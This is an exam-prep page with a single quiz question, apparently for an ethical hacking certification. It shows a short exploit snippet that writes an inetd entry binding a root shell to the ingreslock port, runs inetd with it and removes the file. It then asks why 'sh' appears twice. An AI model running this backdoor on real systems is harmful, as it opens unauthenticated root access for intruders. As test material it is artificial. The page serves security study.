PrepAway - Latest Free Exam Questions & Answers

Author: seenagape

What is the purpose, and why is ‘sh’ shown twice?

Study the following exploit code taken from a Linux machine and answer the questions below:
echo “ingreslock stream tcp nowait root /bin/sh sh –I” > /tmp/x;
/usr/sbin/inetd –s /tmp/x;
sleep 10;

/bin/ rm –f /tmp/x AAAA…AAA
In the above exploit code, the command “/bin/sh sh –I” is given.
What is the purpose, and why is ‘sh’ shown twice?


Page 194 of 555« First...102030...192193194195196...200210220...Last »